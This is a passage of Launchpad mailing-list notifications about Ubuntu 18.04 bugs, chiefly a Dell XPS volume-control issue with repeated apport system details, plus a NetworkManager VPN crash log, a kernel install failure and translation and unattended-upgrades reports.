PulseList: Error: command ['pacmd', 'list'] failed with exit code 1: No
PulseAudio daemon running, or not running as session daemon.
Python3Details: /usr/bin/python3.6, Python 3.6.6, python3-minimal,
3.6.5-3ubuntu1
PythonDetails: /usr/bin/python2.7, Python 2.7.15rc1, python-minimal,
2.7.15~rc1-1
RelatedPackageVersions: grub-pc N/A
SourcePackage: initramfs-tools
Title: package linux-image-4.15.0-36-generic 4.15.0-36.39 failed to
install/upgrade: run-parts: /etc/kernel/postinst.d/initramfs-tools exited with
return code 1
UpgradeStatus: Upgraded to bionic on 2018-08-12 (50 days ago)
dmi.bios.date: 06/30/2017
dmi.bios.vendor: Insyde
dmi.bios.version: F.20
dmi.board.asset.tag: Type2 - Board Asset Tag
dmi.board.name: 83F8
dmi.board.vendor: HP
dmi.board.version: 46.38
dmi.chassis.type: 10
dmi.chassis.vendor: HP
dmi.chassis.version: Chassis Version
dmi.modalias:
dmi:bvnInsyde:bvrF.20:bd06/30/2017:svnHP:pnHPPavilionLaptop15-cc1xx:pvrType1ProductConfigId:rvnHP:rn83F8:rvr46.38:cvnHP:ct10:cvrChassisVersion:
dmi.product.family: 103C_5335KV HP Pavilion
dmi.product.name: HP Pavilion Laptop 15-cc1xx
dmi.product.version: Type1ProductConfigId
dmi.sys.vendor: HP
To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/initramfs-tools/+bug/1795678/+subscriptions
--
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1775068] WifiSyslog.txt
apport information ** Attachment added: "WifiSyslog.txt" https://bugs.launchpad.net/bugs/1775068/+attachment/5195931/+files/WifiSyslog.txt ** Changed in: linux (Ubuntu) Status: Incomplete => Confirmed -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to pulseaudio in Ubuntu. https://bugs.launchpad.net/bugs/1775068 Title: Volume control not working Dell XPS 27 (7760) Status in linux package in Ubuntu: Confirmed Status in pulseaudio package in Ubuntu: New Bug description: Pressing vol up/vol down show OSD change up/down but volume all time is at 100%. I found temporary fix: Add section: [Element Master] switch = mute volume = ignore To: /usr/share/pulseaudio/alsa-mixer/paths/analog-output.conf.common --- ProblemType: Bug ApportVersion: 2.20.9-0ubuntu7.4 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC0: trolinka 1610 F pulseaudio /dev/snd/controlC1: trolinka 1610 F pulseaudio CurrentDesktop: MATE DistroRelease: Ubuntu 18.04 InstallationDate: Installed on 2018-06-02 (121 days ago) InstallationMedia: Ubuntu-MATE 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) Package: pulseaudio 1:11.1-1ubuntu7.1 PackageArchitecture: amd64 ProcVersionSignature: Ubuntu 4.15.0-34.37-generic 4.15.18 Tags: bionic Uname: Linux 4.15.0-34-generic x86_64 UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm audio cdrom dip lpadmin netdev plugdev sambashare scanner sudo vboxusers video _MarkForUpload: True dmi.bios.date: 07/13/2018 dmi.bios.vendor: Dell Inc. dmi.bios.version: 2.4.0 dmi.board.name: 0T12MX dmi.board.vendor: Dell Inc. dmi.board.version: A00 dmi.chassis.type: 13 dmi.chassis.vendor: Dell Inc. dmi.modalias: dmi:bvnDellInc.:bvr2.4.0:bd07/13/2018:svnDellInc.:pnXPS7760AIO:pvr:rvnDellInc.:rn0T12MX:rvrA00:cvnDellInc.:ct13:cvr: dmi.product.family: XPS dmi.product.name: XPS 7760 AIO dmi.sys.vendor: Dell Inc. --- --- ProblemType: Bug ApportVersion: 2.20.9-0ubuntu7.4 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC0: trolinka 1846 F pulseaudio /dev/snd/controlC1: trolinka 1846 F pulseaudio CurrentDesktop: MATE DistroRelease: Ubuntu 18.04 InstallationDate: Installed on 2018-06-02 (122 days ago) InstallationMedia: Ubuntu-MATE 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) MachineType: Dell Inc. XPS 7760 AIO Package: pulseaudio 1:11.1-1ubuntu7.1 PackageArchitecture: amd64 ProcFB: 0 amdgpudrmfb ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-36-generic root=UUID=3df8d974-f6bb-455e-a7a6-a7099388ad54 ro quiet splash vt.handoff=1 ProcVersionSignature: Ubuntu 4.15.0-36.39-generic 4.15.18 RelatedPackageVersions: linux-restricted-modules-4.15.0-36-generic N/A linux-backports-modules-4.15.0-36-generic N/A linux-firmware 1.173.1 Tags: bionic Uname: Linux 4.15.0-36-generic x86_64 UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm audio cdrom dip lpadmin netdev plugdev sambashare scanner sudo vboxusers video _MarkForUpload: True dmi.bios.date: 07/13/2018 dmi.bios.vendor: Dell Inc. dmi.bios.version: 2.4.0 dmi.board.name: 0T12MX dmi.board.vendor: Dell Inc. dmi.board.version: A00 dmi.chassis.type: 13 dmi.chassis.vendor: Dell Inc. dmi.modalias: dmi:bvnDellInc.:bvr2.4.0:bd07/13/2018:svnDellInc.:pnXPS7760AIO:pvr:rvnDellInc.:rn0T12MX:rvrA00:cvnDellInc.:ct13:cvr: dmi.product.family: XPS dmi.product.name: XPS 7760 AIO dmi.sys.vendor: Dell Inc. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1775068/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1775068] RfKill.txt
apport information ** Attachment added: "RfKill.txt" https://bugs.launchpad.net/bugs/1775068/+attachment/5195929/+files/RfKill.txt -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to pulseaudio in Ubuntu. https://bugs.launchpad.net/bugs/1775068 Title: Volume control not working Dell XPS 27 (7760) Status in linux package in Ubuntu: Confirmed Status in pulseaudio package in Ubuntu: New Bug description: Pressing vol up/vol down show OSD change up/down but volume all time is at 100%. I found temporary fix: Add section: [Element Master] switch = mute volume = ignore To: /usr/share/pulseaudio/alsa-mixer/paths/analog-output.conf.common --- ProblemType: Bug ApportVersion: 2.20.9-0ubuntu7.4 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC0: trolinka 1610 F pulseaudio /dev/snd/controlC1: trolinka 1610 F pulseaudio CurrentDesktop: MATE DistroRelease: Ubuntu 18.04 InstallationDate: Installed on 2018-06-02 (121 days ago) InstallationMedia: Ubuntu-MATE 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) Package: pulseaudio 1:11.1-1ubuntu7.1 PackageArchitecture: amd64 ProcVersionSignature: Ubuntu 4.15.0-34.37-generic 4.15.18 Tags: bionic Uname: Linux 4.15.0-34-generic x86_64 UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm audio cdrom dip lpadmin netdev plugdev sambashare scanner sudo vboxusers video _MarkForUpload: True dmi.bios.date: 07/13/2018 dmi.bios.vendor: Dell Inc. dmi.bios.version: 2.4.0 dmi.board.name: 0T12MX dmi.board.vendor: Dell Inc. dmi.board.version: A00 dmi.chassis.type: 13 dmi.chassis.vendor: Dell Inc. dmi.modalias: dmi:bvnDellInc.:bvr2.4.0:bd07/13/2018:svnDellInc.:pnXPS7760AIO:pvr:rvnDellInc.:rn0T12MX:rvrA00:cvnDellInc.:ct13:cvr: dmi.product.family: XPS dmi.product.name: XPS 7760 AIO dmi.sys.vendor: Dell Inc. --- --- ProblemType: Bug ApportVersion: 2.20.9-0ubuntu7.4 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC0: trolinka 1846 F pulseaudio /dev/snd/controlC1: trolinka 1846 F pulseaudio CurrentDesktop: MATE DistroRelease: Ubuntu 18.04 InstallationDate: Installed on 2018-06-02 (122 days ago) InstallationMedia: Ubuntu-MATE 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) MachineType: Dell Inc. XPS 7760 AIO Package: pulseaudio 1:11.1-1ubuntu7.1 PackageArchitecture: amd64 ProcFB: 0 amdgpudrmfb ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-36-generic root=UUID=3df8d974-f6bb-455e-a7a6-a7099388ad54 ro quiet splash vt.handoff=1 ProcVersionSignature: Ubuntu 4.15.0-36.39-generic 4.15.18 RelatedPackageVersions: linux-restricted-modules-4.15.0-36-generic N/A linux-backports-modules-4.15.0-36-generic N/A linux-firmware 1.173.1 Tags: bionic Uname: Linux 4.15.0-36-generic x86_64 UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm audio cdrom dip lpadmin netdev plugdev sambashare scanner sudo vboxusers video _MarkForUpload: True dmi.bios.date: 07/13/2018 dmi.bios.vendor: Dell Inc. dmi.bios.version: 2.4.0 dmi.board.name: 0T12MX dmi.board.vendor: Dell Inc. dmi.board.version: A00 dmi.chassis.type: 13 dmi.chassis.vendor: Dell Inc. dmi.modalias: dmi:bvnDellInc.:bvr2.4.0:bd07/13/2018:svnDellInc.:pnXPS7760AIO:pvr:rvnDellInc.:rn0T12MX:rvrA00:cvnDellInc.:ct13:cvr: dmi.product.family: XPS dmi.product.name: XPS 7760 AIO dmi.sys.vendor: Dell Inc. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1775068/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1775068] ProcModules.txt
apport information ** Attachment added: "ProcModules.txt" https://bugs.launchpad.net/bugs/1775068/+attachment/5195927/+files/ProcModules.txt -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to pulseaudio in Ubuntu. https://bugs.launchpad.net/bugs/1775068 Title: Volume control not working Dell XPS 27 (7760) Status in linux package in Ubuntu: Confirmed Status in pulseaudio package in Ubuntu: New Bug description: Pressing vol up/vol down show OSD change up/down but volume all time is at 100%. I found temporary fix: Add section: [Element Master] switch = mute volume = ignore To: /usr/share/pulseaudio/alsa-mixer/paths/analog-output.conf.common --- ProblemType: Bug ApportVersion: 2.20.9-0ubuntu7.4 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC0: trolinka 1610 F pulseaudio /dev/snd/controlC1: trolinka 1610 F pulseaudio CurrentDesktop: MATE DistroRelease: Ubuntu 18.04 InstallationDate: Installed on 2018-06-02 (121 days ago) InstallationMedia: Ubuntu-MATE 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) Package: pulseaudio 1:11.1-1ubuntu7.1 PackageArchitecture: amd64 ProcVersionSignature: Ubuntu 4.15.0-34.37-generic 4.15.18 Tags: bionic Uname: Linux 4.15.0-34-generic x86_64 UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm audio cdrom dip lpadmin netdev plugdev sambashare scanner sudo vboxusers video _MarkForUpload: True dmi.bios.date: 07/13/2018 dmi.bios.vendor: Dell Inc. dmi.bios.version: 2.4.0 dmi.board.name: 0T12MX dmi.board.vendor: Dell Inc. dmi.board.version: A00 dmi.chassis.type: 13 dmi.chassis.vendor: Dell Inc. dmi.modalias: dmi:bvnDellInc.:bvr2.4.0:bd07/13/2018:svnDellInc.:pnXPS7760AIO:pvr:rvnDellInc.:rn0T12MX:rvrA00:cvnDellInc.:ct13:cvr: dmi.product.family: XPS dmi.product.name: XPS 7760 AIO dmi.sys.vendor: Dell Inc. --- --- ProblemType: Bug ApportVersion: 2.20.9-0ubuntu7.4 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC0: trolinka 1846 F pulseaudio /dev/snd/controlC1: trolinka 1846 F pulseaudio CurrentDesktop: MATE DistroRelease: Ubuntu 18.04 InstallationDate: Installed on 2018-06-02 (122 days ago) InstallationMedia: Ubuntu-MATE 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) MachineType: Dell Inc. XPS 7760 AIO Package: pulseaudio 1:11.1-1ubuntu7.1 PackageArchitecture: amd64 ProcFB: 0 amdgpudrmfb ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-36-generic root=UUID=3df8d974-f6bb-455e-a7a6-a7099388ad54 ro quiet splash vt.handoff=1 ProcVersionSignature: Ubuntu 4.15.0-36.39-generic 4.15.18 RelatedPackageVersions: linux-restricted-modules-4.15.0-36-generic N/A linux-backports-modules-4.15.0-36-generic N/A linux-firmware 1.173.1 Tags: bionic Uname: Linux 4.15.0-36-generic x86_64 UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm audio cdrom dip lpadmin netdev plugdev sambashare scanner sudo vboxusers video _MarkForUpload: True dmi.bios.date: 07/13/2018 dmi.bios.vendor: Dell Inc. dmi.bios.version: 2.4.0 dmi.board.name: 0T12MX dmi.board.vendor: Dell Inc. dmi.board.version: A00 dmi.chassis.type: 13 dmi.chassis.vendor: Dell Inc. dmi.modalias: dmi:bvnDellInc.:bvr2.4.0:bd07/13/2018:svnDellInc.:pnXPS7760AIO:pvr:rvnDellInc.:rn0T12MX:rvrA00:cvnDellInc.:ct13:cvr: dmi.product.family: XPS dmi.product.name: XPS 7760 AIO dmi.sys.vendor: Dell Inc. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1775068/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1794966] Re: Network manager crashes and restarts 2 seconds after establishing a VPN connection
Status changed to 'Confirmed' because the bug affects multiple users. ** Changed in: network-manager (Ubuntu) Status: New => Confirmed -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to network-manager in Ubuntu. https://bugs.launchpad.net/bugs/1794966 Title: Network manager crashes and restarts 2 seconds after establishing a VPN connection Status in network-manager package in Ubuntu: Confirmed Bug description: When trying to get on a company VPN, the connection is initially established and works (I can access intranet websites), but after ~1-2 seconds from starting VPN connection the Network Manager seems to crash and restart, taking all connections down. This makes VPN totally unusable. syslog: // VPN activation: ... Sep 28 13:48:22 p5520 nm-dispatcher: req:4 'vpn-up' [tun0]: new request (2 scripts) Sep 28 13:48:22 p5520 nm-dispatcher: req:4 'vpn-up' [tun0]: start running ordered scripts... Sep 28 13:48:22 p5520 NetworkManager[6892]: [1538135302.5368] device (tun0): Activation: starting connection 'tun0' (6bd0ba91-b53b-4e9a-b94c-394a9a9f336b) Sep 28 13:48:22 p5520 NetworkManager[6892]: [1538135302.5370] device (tun0): state change: disconnected -> prepare (reason 'none', sys-iface-state: 'external') Sep 28 13:48:22 p5520 systemd[1]: Starting resolvconf-pull-resolved.service... Sep 28 13:48:22 p5520 NetworkManager[6892]: [1538135302.5377] device (tun0): state change: prepare -> config (reason 'none', sys-iface-state: 'external') Sep 28 13:48:22 p5520 NetworkManager[6892]: [1538135302.5382] device (tun0): state change: config -> ip-config (reason 'none', sys-iface-state: 'external') Sep 28 13:48:22 p5520 NetworkManager[6892]: [1538135302.5384] device (tun0): state change: ip-config -> ip-check (reason 'none', sys-iface-state: 'external') Sep 28 13:48:22 p5520 NetworkManager[6892]: [1538135302.5391] device (tun0): state change: ip-check -> secondaries (reason 'none', sys-iface-state: 'external') Sep 28 13:48:22 p5520 NetworkManager[6892]: [1538135302.5396] device (tun0): state change: secondaries -> activated (reason 'none', sys-iface-state: 'external') Sep 28 13:48:22 p5520 systemd[1]: Started resolvconf-pull-resolved.service. Sep 28 13:48:22 p5520 NetworkManager[6892]: [1538135302.5471] device (tun0): Activation: successful, device activated. // VPN active and usable - why can't it stay so? Sep 28 13:48:22 p5520 nm-dispatcher: req:5 'up' [tun0]: new request (2 scripts) Sep 28 13:48:26 p5520 org.gnome.Shell.desktop[3652]: (/usr/lib/firefox/firefox:7239): dconf-WARNING **: 13:48:26.618: Unable to open /var/lib/flatpak/exports/share/dconf/profile/user: Brak dostępu Sep 28 13:48:27 p5520 systemd[1]: Reloading OpenBSD Secure Shell server. Sep 28 13:48:27 p5520 systemd[1]: Reloaded OpenBSD Secure Shell server. Sep 28 13:48:27 p5520 nm-dispatcher: req:5 'up' [tun0]: start running ordered scripts... Sep 28 13:48:27 p5520 systemd-resolved[833]: Server returned error NXDOMAIN, mitigating potential DNS violation DVE-2018-0001, retrying transaction with reduced feature level UDP. Sep 28 13:48:28 p5520 systemd[1]: Reloading OpenBSD Secure Shell server. Sep 28 13:48:28 p5520 systemd[1]: Reloaded OpenBSD Secure Shell server. Sep 28 13:48:28 p5520 systemd-resolved[833]: Server returned error NXDOMAIN, mitigating potential DNS violation DVE-2018-0001, retrying transaction with reduced feature level UDP. Sep 28 13:48:28 p5520 systemd[1]: Reloading OpenBSD Secure Shell server. Sep 28 13:48:28 p5520 systemd[1]: Reloaded OpenBSD Secure Shell server. // Something fishy here: Sep 28 13:48:30 p5520 NetworkManager[6892]: malloc(): corrupted unsorted chunks 3 Sep 28 13:48:30 p5520 systemd[1]: NetworkManager.service: Main process exited, code=dumped, status=6/ABRT Sep 28 13:48:30 p5520 systemd[1]: NetworkManager.service: Failed with result 'core-dump'. Sep 28 13:48:30 p5520 gnome-shell[3652]: Removing a network device that was not added Sep 28 13:48:30 p5520 gnome-shell[3652]: message repeated 3 times: [ Removing a network device that was not added] Sep 28 13:48:30 p5520 systemd[1]: NetworkManager.service: Service RestartSec=100ms expired, scheduling restart. Sep 28 13:48:30 p5520 systemd[1]: NetworkManager.service: Scheduled restart job, restart counter is at 5. Sep 28 13:48:30 p5520 systemd[1]: Stopped Network Manager Wait Online. Sep 28 13:48:30 p5520 systemd[1]: Stopping Network Manager Wait Online... Sep 28 13:48:30 p5520 systemd[1]: Stopped Network Manager. Sep 28 13:48:30 p5520 systemd[1]: NetworkManager.service: Found left-over process 1581 (dhclient) in control group while starting unit. Ignoring. Sep 28 13:48:30 p5520 systemd[1]: This usually indicates unclean termination of a previous run, or service implementation deficiencies. Sep 28 13:48:30 p5520 systemd[1]:
[Touch-packages] [Bug 1775068] ProcEnviron.txt
apport information ** Attachment added: "ProcEnviron.txt" https://bugs.launchpad.net/bugs/1775068/+attachment/5195925/+files/ProcEnviron.txt -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to pulseaudio in Ubuntu. https://bugs.launchpad.net/bugs/1775068 Title: Volume control not working Dell XPS 27 (7760) Status in linux package in Ubuntu: Confirmed Status in pulseaudio package in Ubuntu: New Bug description: Pressing vol up/vol down show OSD change up/down but volume all time is at 100%. I found temporary fix: Add section: [Element Master] switch = mute volume = ignore To: /usr/share/pulseaudio/alsa-mixer/paths/analog-output.conf.common --- ProblemType: Bug ApportVersion: 2.20.9-0ubuntu7.4 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC0: trolinka 1610 F pulseaudio /dev/snd/controlC1: trolinka 1610 F pulseaudio CurrentDesktop: MATE DistroRelease: Ubuntu 18.04 InstallationDate: Installed on 2018-06-02 (121 days ago) InstallationMedia: Ubuntu-MATE 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) Package: pulseaudio 1:11.1-1ubuntu7.1 PackageArchitecture: amd64 ProcVersionSignature: Ubuntu 4.15.0-34.37-generic 4.15.18 Tags: bionic Uname: Linux 4.15.0-34-generic x86_64 UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm audio cdrom dip lpadmin netdev plugdev sambashare scanner sudo vboxusers video _MarkForUpload: True dmi.bios.date: 07/13/2018 dmi.bios.vendor: Dell Inc. dmi.bios.version: 2.4.0 dmi.board.name: 0T12MX dmi.board.vendor: Dell Inc. dmi.board.version: A00 dmi.chassis.type: 13 dmi.chassis.vendor: Dell Inc. dmi.modalias: dmi:bvnDellInc.:bvr2.4.0:bd07/13/2018:svnDellInc.:pnXPS7760AIO:pvr:rvnDellInc.:rn0T12MX:rvrA00:cvnDellInc.:ct13:cvr: dmi.product.family: XPS dmi.product.name: XPS 7760 AIO dmi.sys.vendor: Dell Inc. --- --- ProblemType: Bug ApportVersion: 2.20.9-0ubuntu7.4 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC0: trolinka 1846 F pulseaudio /dev/snd/controlC1: trolinka 1846 F pulseaudio CurrentDesktop: MATE DistroRelease: Ubuntu 18.04 InstallationDate: Installed on 2018-06-02 (122 days ago) InstallationMedia: Ubuntu-MATE 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) MachineType: Dell Inc. XPS 7760 AIO Package: pulseaudio 1:11.1-1ubuntu7.1 PackageArchitecture: amd64 ProcFB: 0 amdgpudrmfb ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-36-generic root=UUID=3df8d974-f6bb-455e-a7a6-a7099388ad54 ro quiet splash vt.handoff=1 ProcVersionSignature: Ubuntu 4.15.0-36.39-generic 4.15.18 RelatedPackageVersions: linux-restricted-modules-4.15.0-36-generic N/A linux-backports-modules-4.15.0-36-generic N/A linux-firmware 1.173.1 Tags: bionic Uname: Linux 4.15.0-36-generic x86_64 UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm audio cdrom dip lpadmin netdev plugdev sambashare scanner sudo vboxusers video _MarkForUpload: True dmi.bios.date: 07/13/2018 dmi.bios.vendor: Dell Inc. dmi.bios.version: 2.4.0 dmi.board.name: 0T12MX dmi.board.vendor: Dell Inc. dmi.board.version: A00 dmi.chassis.type: 13 dmi.chassis.vendor: Dell Inc. dmi.modalias: dmi:bvnDellInc.:bvr2.4.0:bd07/13/2018:svnDellInc.:pnXPS7760AIO:pvr:rvnDellInc.:rn0T12MX:rvrA00:cvnDellInc.:ct13:cvr: dmi.product.family: XPS dmi.product.name: XPS 7760 AIO dmi.sys.vendor: Dell Inc. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1775068/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1795697] [NEW] Danish translation probably not synchronizing
Public bug reported: The Danish translation here is not complete: https://translations.launchpad.net/ubuntu/cosmic/+source/gtk+3.0/+pots/gtk-3.0/da/+details However we always fully translate GNOME upstream for each release, so it should be complete. Something is probably wrong with the import queue again. See also https://bugs.launchpad.net/ubuntu/+source/gnome- software/+bug/1795695 ** Affects: gtk+3.0 (Ubuntu) Importance: Undecided Status: New -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to gtk+3.0 in Ubuntu. https://bugs.launchpad.net/bugs/1795697 Title: Danish translation probably not synchronizing Status in gtk+3.0 package in Ubuntu: New Bug description: The Danish translation here is not complete: https://translations.launchpad.net/ubuntu/cosmic/+source/gtk+3.0/+pots/gtk-3.0/da/+details However we always fully translate GNOME upstream for each release, so it should be complete. Something is probably wrong with the import queue again. See also https://bugs.launchpad.net/ubuntu/+source/gnome- software/+bug/1795695 To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/gtk+3.0/+bug/1795697/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1795696] [NEW] /usr/bin/unattended-upgrade:UnboundLocalError:/usr/bin/unattended-upgrade@1991:main:do_auto_remove
Public bug reported: The Ubuntu Error Tracker has been receiving reports about a problem regarding unattended-upgrades. This problem was most recently seen with package version 1.1ubuntu1.18.04.5, the problem page at https://errors.ubuntu.com/problem/651a7b7a070dd794d8cf2f5ea8e974614fdedb8e contains more details, including versions of packages affected, stacktrace or traceback, and individual crash reports. If you do not have access to the Ubuntu Error Tracker and are a software developer, you can request it at http://forms.canonical.com/reports/. ** Affects: unattended-upgrades (Ubuntu) Importance: Undecided Status: New ** Tags: bionic -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to unattended-upgrades in Ubuntu. https://bugs.launchpad.net/bugs/1795696 Title: /usr/bin/unattended-upgrade:UnboundLocalError:/usr/bin/unattended- upgrade@1991:main:do_auto_remove Status in unattended-upgrades package in Ubuntu: New Bug description: The Ubuntu Error Tracker has been receiving reports about a problem regarding unattended-upgrades. This problem was most recently seen with package version 1.1ubuntu1.18.04.5, the problem page at https://errors.ubuntu.com/problem/651a7b7a070dd794d8cf2f5ea8e974614fdedb8e contains more details, including versions of packages affected, stacktrace or traceback, and individual crash reports. If you do not have access to the Ubuntu Error Tracker and are a software developer, you can request it at http://forms.canonical.com/reports/. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/unattended-upgrades/+bug/1795696/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1775068] ProcInterrupts.txt
apport information ** Attachment added: "ProcInterrupts.txt" https://bugs.launchpad.net/bugs/1775068/+attachment/5195926/+files/ProcInterrupts.txt -- You received this bug notification because you are a member of Ubuntu Touch seeded packages, which is subscribed to pulseaudio in Ubuntu. https://bugs.launchpad.net/bugs/1775068 Title: Volume control not working Dell XPS 27 (7760) Status in linux package in Ubuntu: Confirmed Status in pulseaudio package in Ubuntu: New Bug description: Pressing vol up/vol down show OSD change up/down but volume all time is at 100%. I found temporary fix: Add section: [Element Master] switch = mute volume = ignore To: /usr/share/pulseaudio/alsa-mixer/paths/analog-output.conf.common --- ProblemType: Bug ApportVersion: 2.20.9-0ubuntu7.4 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC0: trolinka 1610 F pulseaudio /dev/snd/controlC1: trolinka 1610 F pulseaudio CurrentDesktop: MATE DistroRelease: Ubuntu 18.04 InstallationDate: Installed on 2018-06-02 (121 days ago) InstallationMedia: Ubuntu-MATE 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) Package: pulseaudio 1:11.1-1ubuntu7.1 PackageArchitecture: amd64 ProcVersionSignature: Ubuntu 4.15.0-34.37-generic 4.15.18 Tags: bionic Uname: Linux 4.15.0-34-generic x86_64 UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm audio cdrom dip lpadmin netdev plugdev sambashare scanner sudo vboxusers video _MarkForUpload: True dmi.bios.date: 07/13/2018 dmi.bios.vendor: Dell Inc. dmi.bios.version: 2.4.0 dmi.board.name: 0T12MX dmi.board.vendor: Dell Inc. dmi.board.version: A00 dmi.chassis.type: 13 dmi.chassis.vendor: Dell Inc. dmi.modalias: dmi:bvnDellInc.:bvr2.4.0:bd07/13/2018:svnDellInc.:pnXPS7760AIO:pvr:rvnDellInc.:rn0T12MX:rvrA00:cvnDellInc.:ct13:cvr: dmi.product.family: XPS dmi.product.name: XPS 7760 AIO dmi.sys.vendor: Dell Inc. --- --- ProblemType: Bug ApportVersion: 2.20.9-0ubuntu7.4 Architecture: amd64 AudioDevicesInUse: USERPID ACCESS COMMAND /dev/snd/controlC0: trolinka 1846 F pulseaudio /dev/snd/controlC1: trolinka 1846 F pulseaudio CurrentDesktop: MATE DistroRelease: Ubuntu 18.04 InstallationDate: Installed on 2018-06-02 (122 days ago) InstallationMedia: Ubuntu-MATE 18.04 LTS "Bionic Beaver" - Release amd64 (20180426) MachineType: Dell Inc. XPS 7760 AIO Package: pulseaudio 1:11.1-1ubuntu7.1 PackageArchitecture: amd64 ProcFB: 0 amdgpudrmfb ProcKernelCmdLine: BOOT_IMAGE=/boot/vmlinuz-4.15.0-36-generic root=UUID=3df8d974-f6bb-455e-a7a6-a7099388ad54 ro quiet splash vt.handoff=1 ProcVersionSignature: Ubuntu 4.15.0-36.39-generic 4.15.18 RelatedPackageVersions: linux-restricted-modules-4.15.0-36-generic N/A linux-backports-modules-4.15.0-36-generic N/A linux-firmware 1.173.1 Tags: bionic Uname: Linux 4.15.0-36-generic x86_64 UpgradeStatus: No upgrade log present (probably fresh install) UserGroups: adm audio cdrom dip lpadmin netdev plugdev sambashare scanner sudo vboxusers video _MarkForUpload: True dmi.bios.date: 07/13/2018 dmi.bios.vendor: Dell Inc. dmi.bios.version: 2.4.0 dmi.board.name: 0T12MX dmi.board.vendor: Dell Inc. dmi.board.version: A00 dmi.chassis.type: 13 dmi.chassis.vendor: Dell Inc. dmi.modalias: dmi:bvnDellInc.:bvr2.4.0:bd07/13/2018:svnDellInc.:pnXPS7760AIO:pvr:rvnDellInc.:rn0T12MX:rvrA00:cvnDellInc.:ct13:cvr: dmi.product.family: XPS dmi.product.name: XPS 7760 AIO dmi.sys.vendor: Dell Inc. To manage notifications about this bug go to: https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1775068/+subscriptions -- Mailing list: https://launchpad.net/~touch-packages Post to : touch-packages@lists.launchpad.net Unsubscribe : https://launchpad.net/~touch-packages More help : https://help.launchpad.net/ListHelp
[Touch-packages] [Bug 1775068] UdevDb.txt
